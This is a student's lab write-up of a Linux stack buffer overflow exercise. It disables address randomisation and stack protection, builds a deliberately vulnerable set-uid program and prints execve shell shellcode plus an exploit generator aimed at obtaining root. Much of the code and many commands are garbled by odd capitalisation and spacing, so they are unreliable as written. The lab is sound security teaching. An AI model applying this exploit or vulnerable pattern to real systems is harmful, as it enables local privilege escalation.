Linux experiment--Buffer Overflow Vulnerability experiment

First, the experimental description

A buffer overflow is a scenario in which a program attempts to write to a buffer beyond the pre-allocated fixed-length data. This vulnerability could be exploited by malicious users to alter the flow control of a program, or even execute arbitrary fragments of code. This vulnerability occurs because of a temporary shutdown of the data buffer and the return address, which causes the return address to be rewritten.

II. Preparation of the experiment

The lab building provides 64-bit Ubuntu Linux (System user name Shiyanlou, password Shiyanlou), and this experiment to facilitate the observation of the assembly statements, we need to operate in 32-bit environment, so before the experiment needs to do some preparation.

1. Enter a command to install something that compiles a 32-bit C program:

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install Lib32readline-gplv2-dev

2, enter the command "linux32" into the 32-bit Linux environment, enter "/bin/bash" Use bash, exit Linux32 with exit

Third, the experimental steps

Practice One:

1 Initial Setup

In Ubuntu and some other Linux systems, the initial address of random heap (heap) and stack (stack) is randomized using address space, which makes it difficult to guess the exact memory address, and guessing the memory address is the key to the buffer overflow attack. So in this experiment, we use the following command to turn off this feature:

sudo sysctl-w kernel.randomize_va_space=0

In addition, in order to further protect against buffer overflow attacks and other attacks using shell programs, many shell programs automatically abandon their privileges when called. Therefore, even if you can trick a set-uid program into invoking a shell, you cannot maintain root privileges in the shell, which is implemented in/bin/bash.

In a Linux system,/bin/sh is actually a symbolic link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:

sudo su

Cd/bin

RM SH

Ln-s zsh SH

Exit

2 Shellcode

In general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.

Observe the following code:

#include <stdio.h>

int main ()

{

Char *name[2];

Name[0] = "/bin/sh";

NAME[1] = NULL;

Execve (Name[0], name, NULL);

}

The shellcode of this experiment is the compiled version of the code just now:

\x31\xc0\x50\x68 "//sh" \x68 "/bin" \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3 Vulnerability Procedures

Save the following code as a "stack.c" file and save it to the/tmp directory. The code is as follows:

/* STACK.C */

/* This program has a buffer overflow vulnerability. */

/* Our task was to exploit this vulnerability */

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int BOF (char *str)

{

Char buffer[12];

/* The following statement has a buffer overflow problem */

strcpy (buffer, str);

return 1;

}

int main (int argc, char **argv)

{

Char str[517];

FILE *badfile;

Badfile = fopen ("Badfile", "R");

Fread (str, sizeof (char), 517, badfile);

BOF (str);

printf ("returned properly\n");

return 1;

}

The code lets you know that the program reads a file named "Badfile" and loads the contents of the file into "buffer".

Compile the program, and set the Set-uid. The command is as follows:

sudo su

Gcc-m32-g-Z execstack-fno-stack-protector-o Stack stack.c

chmod U+s Stack

Exit

The GCC compiler has a stack protection mechanism to prevent buffer overflows, so we need to use –fno-stack-protector to close this mechanism when compiling the code. The-Z execstack is used to allow execution of the stack.

4 Attack Program

Our goal is to attack the vulnerability program just now and gain root access through the attack.

Save the following code as a "exploit.c" file and save it to the/tmp directory. The code is as follows:

/* EXPLOIT.C */

/* A program this creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

Char shellcode[]=

"\x31\xc0"//xorl%eax,%eax

"\x50"//PUSHL%eax

"\x68" "//sh"//PUSHL $0x68732f2f

"\x68" "/bin"//PUSHL $0x6e69622f

"\x89\xe3"//movl%esp,%ebx

"\x50"//PUSHL%eax

"\x53"//PUSHL%ebx

"\x89\xe1"//movl%esp,%ecx

"\x99"//CDQ

"\XB0\X0B"//movb $0x0b,%al

"\xcd\x80"//int $0x80

;

void Main (int argc, char **argv)

{

Char buffer[517];

FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */

memset (&buffer, 0x90, 517);

/* need to fill the buffer with appropriate contents here */

strcpy (buffer, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ X90\x?? \x?? \x?? \x?? ");

strcpy (Buffer+100,shellcode);

/* Save the contents to the file "badfile" */

Badfile = fopen ("./badfile", "w");

fwrite (buffer, 517, 1, badfile);

Fclose (Badfile);

}

Notice the above code, "\x??" \x?? \x?? \x?? " Need to add shellcode to the address stored in memory because the location can overwrite the return address just after an overflow occurs.

and strcpy (Buffer+100,shellcode); This sentence tells us again that Shellcode is stored in the buffer+100 position.

Now we're going to get shellcode in-memory address, enter the command:

GDB Stack

Disass Main

Results

The next steps:

Modify EXPLOIT.C file Now! Then, compile the EXPLOIT.C program:

Gcc-m32-o Exploit exploit.c

5 Attack results

Run the attack program exploit before running the vulnerability stack and observe the results:

Visible, through the attack, get the root permission!

Exercise two:

Through the command "sudo sysctl-w kernel.randomize_va_space=2" to open the system's address space randomization mechanism, repeatedly using the exploit program to attack the stack program, to see if the attack succeeds, can gain root privileges.

The attack failed with no root privileges. I think because the address space randomization is turned on, causing the previously computed address to be different from the actual address, thus unable to complete the attack.

Exercise Three:

Re-point the/bin/sh to/bin/bash (or/bin/dash) to see if the attack succeeds and root privileges can be obtained.

The attack failed without root access. Using the Bash program, when the shell is running, there is no root privilege, and even if the attacker attacks the vulnerability program, it will not be able to gain root privileges.

Iv. Summary of the experiment

The experiment I first looked at the experimental process, and then look at others to do it once again, I did two times, the first time to do the stumbling is not very smooth, ask the classmates after very smooth completion.

In the experimental phase, the address space is randomized to the initial address of the random heap (heap) and stack (stack), which makes it difficult to guess the exact memory address. Therefore, it is necessary to turn off the address randomization, fixed address, which makes the address guessing easier. The attacker writes a badfile file, replaces some of these bytes with the previously computed bytes, and when the vulnerability program reads the Badfile file, because there is no limit to the length of the input, causing the return value to be overwritten by the previously substituted byte, and when the program returns, jumps to the pre-specified address. Root permission was obtained and the attack was completed.

Linux experiment--Buffer Overflow Vulnerability experiment